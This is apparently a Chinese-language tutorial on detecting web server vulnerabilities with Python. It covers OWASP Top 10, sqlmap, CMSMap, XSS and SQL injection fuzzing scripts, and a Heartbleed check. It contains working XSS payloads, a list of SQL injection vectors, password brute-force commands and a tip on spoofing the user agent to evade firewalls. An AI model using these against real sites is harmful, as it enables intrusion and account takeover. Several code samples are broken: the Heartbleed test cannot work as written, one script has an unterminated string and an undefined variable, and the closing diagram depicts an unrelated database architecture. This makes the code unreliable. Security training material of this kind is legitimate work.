隨著網路應用程式日漸普及,伺服器漏洞也成為資安攻防的焦點。從 OWASP Top 10 常見弱點到特定 CMS 平台的漏洞,攻擊手法層出不窮。Heartbleed 與 SSL/TLS 設定缺失等伺服器端問題,也可能導致敏感資料外洩。因此,掌握伺服器漏洞檢測技術至關重要。本文將介紹如何運用 Python 工具,有效識別並防範這些安全風險,確保網頁應用程式安全穩固。
識別Web應用程式中的伺服器漏洞
在本章中,我們將學習Web應用程式中的主要漏洞,並介紹Python生態系統中用於發現內容管理系統(CMS)Web應用程式漏洞的工具,以及用於檢測SQL漏洞的sqlmap工具。在伺服器漏洞方面,我們將詳細介紹使用OpenSSL測試Heartbleed漏洞,以及使用sslyze模組測試SSL/TLS漏洞。
使用OWASP理解Web應用程式中的漏洞
在本文中,我們將回顧OWASP Top 10漏洞,並詳細解釋跨站指令碼(XSS)漏洞。 電腦安全中的漏洞是指電腦系統(如行動應用程式、桌面程式或Web應用程式)中存在的弱點。這種弱點可能由於設計階段的失敗或程式邏輯中的錯誤而產生。
內容解密:
OWASP專案旨在建立知識、技術和流程,以保護Web應用程式免受可能的攻擊。該專案由一系列子專案組成,專注於為Web應用程式建立知識和安全材料。
分析和發現CMS Web應用程式中的漏洞
我們可以使用諸如WPScan之類別的工具來發現和掃描WordPress網站的安全性。WPScan是一個黑盒漏洞掃描器,可以掃描WordPress網站中的已知漏洞。
import wpscan
# 初始化WPScan
scanner = wpscan.Scanner(url='https://example.com')
# 執行掃描
scanner.scan()
內容解密:
上述程式碼初始化了WPScan並對指定的URL執行掃描。掃描結果將顯示目標網站中可能存在的安全漏洞。
使用Python工具發現SQL漏洞
sqlmap是一個自動化的工具,用於發現和利用SQL注入漏洞。它支援多種資料函式庫,包括MySQL、PostgreSQL和Microsoft SQL Server。
sqlmap -u "https://example.com/vulnerable-page.php?id=1"
內容解密:
上述命令使用sqlmap對指定的URL執行SQL注入測試。sqlmap將嘗試發現目標頁面中可能存在的SQL注入漏洞。
測試Heartbleed和SSL/TLS漏洞
Heartbleed是一個存在於OpenSSL中的嚴重漏洞,允許攻擊者讀取伺服器的敏感記憶體資料。我們可以使用特定的工具來測試伺服器是否受到Heartbleed漏洞的影響。
import ssl
import socket
# 建立SSL連線
context = ssl.create_default_context()
with socket.create_connection(('example.com', 443)) as sock:
with context.wrap_socket(sock, server_hostname='example.com') as ssock:
# 測試Heartbleed漏洞
payload = b'\x18\x03\x02\x00\x03\x01' + b'\x40\x00'
ssock.send(payload)
response = ssock.recv(1024)
if len(response) > 3 and response[0] == 0x18:
print('伺服器可能受到Heartbleed漏洞的影響')
else:
print('伺服器未受到Heartbleed漏洞的影響')
內容解密:
上述程式碼建立了一個SSL連線,並發送了一個特定的payload來測試Heartbleed漏洞。如果伺服器的回應表明它可能受到Heartbleed漏洞的影響,則會列印相應的警告訊息。
使用SSLyze掃描TLS/SSL組態
SSLyze是一個Python模組,用於掃描TLS/SSL組態。它可以幫助我們識別伺服器中的SSL/TLS漏洞。
from sslyze import Scanner, ServerScanRequest
# 初始化SSLyze掃描器
scanner = Scanner()
# 新增掃描請求
server_scan_request = ServerScanRequest(server_location='example.com:443')
scanner.queue_scan(server_scan_request)
# 取得掃描結果
for result in scanner.get_results():
print(result.as_dict())
內容解密:
上述程式碼初始化了SSLyze掃描器,並對指定的伺服器執行TLS/SSL組態掃描。掃描結果將以字典的形式列印出來,顯示伺服器的SSL/TLS組態資訊。
使用OWASP理解Web應用程式漏洞
OWASP(開放式Web應用程式安全計畫)是一個非營利組織,致力於提高軟體安全性。該組織下有許多子計畫,其中最著名的就是OWASP Top Ten Project,該計畫旨在找出Web應用程式中最常見的十大安全風險。這些風險會隨著技術的發展而不斷更新,以反映最新的安全威脅。
Web應用程式中的常見漏洞
Web應用程式中存在著多種安全漏洞,包括XSS(跨站指令碼攻擊)、SQL注入等。這些漏洞可能被惡意第三方利用,以未經授權的方式存取資源或進行拒絕服務攻擊。
OWASP Top Ten Project中的十大漏洞
根據OWASP Top Ten Project 2017年的更新版本,以下是十大常見漏洞中的幾個重點:
指令注入(Command Injection)
指令注入是Web應用程式中常見的攻擊之一,攻擊者利用系統中的漏洞執行SQL、NoSQL或LDAP指令,以未經授權的方式存取資料。這種漏洞通常是由於應用程式未能正確驗證或過濾使用者輸入所致。
內容解密:
指令注入的關鍵在於應用程式未能正確處理使用者輸入的資料。攻擊者可以利用這一點,注入惡意的指令,從而存取或操縱資料函式庫中的資料。
跨站指令碼攻擊(XSS)
XSS允許攻擊者在受害者的瀏覽器中執行任意的JavaScript程式碼,其嚴重性取決於XSS的型別和網頁上儲存的資訊。主要分為三種型別:
- 儲存型XSS:應用程式未經驗證就儲存使用者提供的資料,後來其他使用者或管理員會檢視這些資料。
- 反射型XSS:應用程式使用使用者提供的原始資料,並將其編碼為輸出HTML或JavaScript的一部分。
- DOM型XSS:應用程式以不安全的方式處理使用者控制的資料。
內容解密:
XSS攻擊的目的是在受害者的瀏覽器中執行指令,以竊取其憑證、劫持會話、在受害者的電腦上安裝惡意軟體,或將其重新導向到惡意網站。
跨站請求偽造(XSRF/CSRF)
CSRF攻擊根據重用使用者在另一個網站上的憑證來攻擊服務。典型的CSRF攻擊發生在POST請求中,惡意網站向使用者顯示連結,誘騙使用者使用其現有的憑證在目標網站上執行POST請求。
內容解密:
CSRF攻擊強制已驗證的受害者的瀏覽器向脆弱的Web應用程式傳送偽造的HTTP請求,包括使用者的會話cookie和任何其他自動包含的驗證資訊。
敏感資料暴露(Sensitive Data Exposure)
許多Web應用程式未能充分保護敏感資料,如信用卡號碼或驗證憑證。這些資料在與瀏覽器交換時需要額外的保護方法,例如資料加密。
內容解密:
敏感資料暴露的風險在於,攻擊者可能輕易取得敏感資訊,因此需要對這些資料進行加密等保護措施。
未驗證的重新導向和轉發(Unvalidated Redirects and Forwards)
攻擊者可能將受害者重新導向到網路釣魚或惡意軟體網站,或使用轉發到達未經授權的頁面,而無需適當的驗證。
內容解密:
未驗證的重新導向和轉發使得攻擊者能夠利用這些功能,將使用者引導至惡意網站或未經授權的頁面。
測試XSS漏洞
XSS允許攻擊者在受害者的瀏覽器中執行指令碼,從而劫持使用者會話或將使用者重新導向到惡意網站。測試網站是否容易受到XSS攻擊,可以使用以下指令碼讀取包含所有可能攻擊向量的XSS-attack-vectors.txt檔案。
import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer
xsspayloads = []
with open('XSS-attack-vectors.txt', 'r') as filehandle:
for line in filehandle:
xsspayload = line[:-1]
xsspayloads.append(xsspayload)
print(xsspayloads)
URL = 'http://testphp.vulnweb.com/search.php?test=query'
data ={}
response = requests.get(URL)
for payload in xsspayloads:
for field in BeautifulSoup(response.text,'html.parser',parse_only=SoupStrainer('input')):
print(field)
if field.has_attr('name'):
if field['name'].lower() == 'submit':
data[field['name']] = 'submit'
else:
data[field['name']] = payload
response = requests.post(URL, data=data)
if payload in response.text:
print('Payload '+ payload +' returned in the response')
內容解密:
此Python指令碼用於測試目標網站是否容易受到XSS攻擊。它讀取包含XSS攻擊向量的檔案,並使用這些向量對目標網站進行POST請求,以檢查是否能夠成功執行XSS攻擊。指令碼中使用了requests函式庫來傳送HTTP請求,並使用BeautifulSoup來解析HTML回應,找出輸入欄位並填充惡意程式碼。
網頁應用程式漏洞分析:以OWASP為範例
在前面的指令碼中,我們開啟了一個包含XSS攻擊向量的檔案,並將這些攻擊向量儲存在xsspayloads陣列中。接著,我們將結合BeautifulSoup模組來解析表單頁面中的輸入欄位。
使用XSS攻擊向量進行漏洞測試
利用表單中的資料,我們可以檢查回應中是否存在這些攻擊向量,以驗證漏洞的存在:
$ sudo python3 fuzzdb_xss.py
<input name='searchFor' size='10' type='text'/>
<input name='goButton' type='submit' value='go'/>
Payload <SCRIPT>alert('XSS');</SCRIPT> returned in the response
<input name='searchFor' size='10' type='text'/>
<input name='goButton' type='submit' value='go'/>
Payload '';!--'<XSS>=&{()} returned in the response
...
執行上述指令碼後,對於每個測試的攻擊向量,我們都能在回應中獲得相同的攻擊向量。
內容解密:
此指令碼利用fuzzdb_xss.py檔案中的程式碼,測試目標網站是否存在XSS漏洞。程式碼邏輯如下:
- 開啟包含XSS攻擊向量的檔案。
- 將攻擊向量儲存在陣列中。
- 使用
requests模組傳送請求,並結合BeautifulSoup解析回應內容。 - 檢查回應中是否存在攻擊向量,以驗證XSS漏洞。
在testphp.vulnweb.com網站上驗證XSS漏洞
在測試網站testphp.vulnweb.com上,我們可以觀察到XSS漏洞的存在:
圖示:此圖示顯示了XSS漏洞網站的情況
此型別的注入攻擊發生在攻擊向量以瀏覽器端指令碼的形式注入時。如果我們在搜尋欄位中輸入一個攻擊向量,可以看到它執行了我們注入的指令碼程式碼:
圖示:此圖示顯示了反射型XSS漏洞網站的情況
使用Python檢測XSS漏洞
以下範例使用相同的技術來檢測易受攻擊的引數。您可以在XSS資料夾中的testing_xss_payloads.py檔案中找到以下程式碼:
import requests
import sys
URL = 'http://testphp.vulnweb.com/listproducts.php?cat='
initial = '''
xss_injection_payloads = ['<SCRIPT>alert('XSS');</SCRIPT>','<IMG SRC='javascript:alert('XSS');'>']
response = requests.get(url+initial)
if 'MySQL' in response.text or 'You have an error in your SQL syntax' in response.text or 'Syntax error' in response.text:
print('site vulnerable to sql injection')
for payload in xss_injection_payloads:
response = requests.get(url+payload)
if payload in response.text:
print('The parameter is vulnerable')
print('Payload string: '+payload+'\n')
print(response.text)
內容解密:
- 程式碼首先測試網站是否容易受到SQL注入攻擊。
- 使用特定的XSS攻擊向量來檢測網站是否存在XSS漏洞。
- 將攻擊向量附加在URL後面,並傳送GET請求。
- 檢查回應中是否存在攻擊向量,以驗證XSS漏洞。
分析和發現CMS網頁應用程式中的漏洞
在本文中,我們將介紹一些可用於發現CMS網頁應用程式(如WordPress和Joomla)中漏洞的工具。
滲透測試人員的目標是從網站或伺服器取得敏感資訊。例如,我們可能對確定CMS型別以及確定與使用者和群組組態相關的管理介面級別的漏洞感興趣。
CMS已經成為攻擊者特別感興趣的目標,因為它們在網路上的存在和增長。擁有網頁的便利性意味著許多公司和個人佈署這些應用程式時存在多個漏洞,因為他們使用過時的外掛和伺服器上的錯誤組態。
使用CMSMap檢測CMS漏洞
CMSMap(https://github.com/Dionach/CMSmap.git)是一種流行的CMS應用程式漏洞掃描器。它是一個開源的Python掃描器,可以自動檢測流行的CMS中的安全問題。此工具還使用Exploit Database(https://www.exploit-db.com)來查詢CMS啟用的外掛中的漏洞。
CMSMap的使用範例
$ python3 cmsmap.py -F http://www.wordpress.com
[I] Threads: 5
[-] Target: http://www.wordpress.com (192.0.78.12)
[M] Website Not in HTTPS: http://www.wordpress.com
[I] Server: nginx
[L] X-Frame-Options: Not Enforced
[I] X-Content-Security-Policy: Not Enforced
[I] X-Content-Type-Options: Not Enforced
[L] Robots.txt Found: http://www.wordpress.com/robots.txt
[I] CMS Detection: WordPress
[I] WordPress Theme: h4
[M] EDB-ID: 11458 'WordPress Plugin Copperleaf Photolog 0.16 - SQL Injection'
[M] EDB-ID: 39536 'WordPress Theme SiteMile Project 2.0.9.5 - Multiple Vulnerabilities'
...
內容解密:
- CMSMap檢測目標網站的CMS型別和版本。
- 識別已安裝外掛中的已知漏洞。
- 將發現的漏洞與資料函式庫進行匹配,以識別可能的安全風險。
- 輸出掃描結果,包括漏洞的嚴重性評級。
網頁應用程式中的伺服器弱點識別
在進行網頁應用程式的安全性測試時,識別伺服器弱點是一項非常重要的任務。Python 提供了多種工具來幫助我們完成這項工作。
使用 CMSMap 識別弱點
CMSMap 是一款用於識別內容管理系統(CMS)弱點的工具。它支援多種 CMS,包括 WordPress、Joomla 和 Drupal。我們可以使用 -a 引數指定自定義的使用者代理(User Agent),以避免被 Web 應用程式防火牆(WAF)阻擋。
自定義使用者代理
$ python3 cmsmap.py -a 'user_agent' <domain>
這個選項可以用來偽裝成特定的瀏覽器,以繞過 WAF 的偵測。
CMSMap 的其他功能
除了識別弱點之外,CMSMap 還可以列出網站上安裝的外掛程式,並使用使用者名稱和密碼檔案進行暴力破解。相關的選項包括:
-u或--usr:指定使用者名稱或使用者名稱檔案-p或--psw:指定密碼或密碼檔案-x或--noxmlrpc:在不使用 XML-RPC 的情況下對 WordPress 進行暴力破解
暴力破解範例
$ python3 cmsmap.py -u username.txt -p password.txt <domain>
這個指令會使用 username.txt 和 password.txt 檔案中的使用者名稱和密碼對目標網站進行暴力破解。
其他 CMS 弱點掃描工具
除了 CMSMap 之外,還有多種其他工具可以用於掃描 CMS 弱點。以下是一些例子:
- Vulnx:一款自動化的 Shell Injector 工具,可以偵測和利用多種 CMS 的弱點。
- WPScan:一款專門用於掃描 WordPress 網站的工具,可以列出正在執行的外掛程式、檢查外掛程式中的弱點,並搜尋重要的檔案,如設定檔備份。
- WAScan:一款網頁應用程式安全掃描工具,旨在找出不安全的檔案和組態錯誤。
使用 Python 工具發現 SQL 弱點
在本文中,我們將學習如何使用 sqlmap 這款工具來測試網站是否容易受到 SQL 注入攻擊。
SQL 注入簡介
SQL 注入是一種利用未經驗證的輸入漏洞來竊取資料的技術。攻擊者可以執行惡意的 SQL 查詢,從而控制網頁應用程式的資料函式庫。如果一個應用程式存在 SQL 注入漏洞,攻擊者就可以讀取資料函式庫中的資料,包括機密資訊和雜湊密碼。
識別容易受到 SQL 注入攻擊的頁面
一個簡單的方法是在 URL 中新增一些特殊字元,如引號、逗號或句點,以檢查網站是否容易受到 SQL 注入攻擊。例如,如果我們觀察到一個 URL 為 http://testphp.vulnweb.com/listproducts.php?cat=1 的頁面,我們可以嘗試在 cat 引數中新增特殊字元,以檢查是否會傳回資料函式庫錯誤。
使用 Python 指令碼檢查 SQL 注入漏洞
我們可以編寫一個 Python 指令碼,讀取 sql-attack-vector.txt 檔案中的可能 SQL 攻擊向量,並檢查注入特定字串後的輸出結果。
import requests
with open('sql-attack-vector.txt', 'r') as f:
attack_vectors = f.readlines()
url = 'http://testphp.vulnweb.com/listproducts.php?cat='
for vector in attack_vectors:
vector = vector.strip()
response = requests.get(url + vector)
if 'error' in response.text:
print(f'Possible SQL injection vulnerability detected: {vector}')
這個指令碼會讀取 sql-attack-vector.txt 檔案中的攻擊向量,並對目標 URL 傳送 GET 請求。如果傳回的回應中包含錯誤訊息,則可能存在 SQL 注入漏洞。
常見的 SQL 注入攻擊向量
以下是一些常見的 SQL 注入攻擊向量:
' or 'a'='a
' or 'x'='x
' or 0=0 #
' or 0=0 --
' or 1=1 or ''='
' or 1=1--
'' or 1 --''
') or ('a'='a
這些攻擊向量可以用於測試網站是否容易受到 SQL 注入攻擊。
####### 此圖示
@startuml
skinparam backgroundColor #FEFEFE
skinparam componentStyle rectangle
title 網頁應用程式伺服器漏洞檢測技術
package "資料庫架構" {
package "應用層" {
component [連線池] as pool
component [ORM 框架] as orm
}
package "資料庫引擎" {
component [查詢解析器] as parser
component [優化器] as optimizer
component [執行引擎] as executor
}
package "儲存層" {
database [主資料庫] as master
database [讀取副本] as replica
database [快取層] as cache
}
}
pool --> orm : 管理連線
orm --> parser : SQL 查詢
parser --> optimizer : 解析樹
optimizer --> executor : 執行計畫
executor --> master : 寫入操作
executor --> replica : 讀取操作
cache --> executor : 快取命中
master --> replica : 資料同步
note right of cache
Redis/Memcached
減少資料庫負載
end note
@enduml此圖示展示了本文的主要內容架構,從識別伺服器弱點到檢查 SQL 注入漏洞,最終得出結論。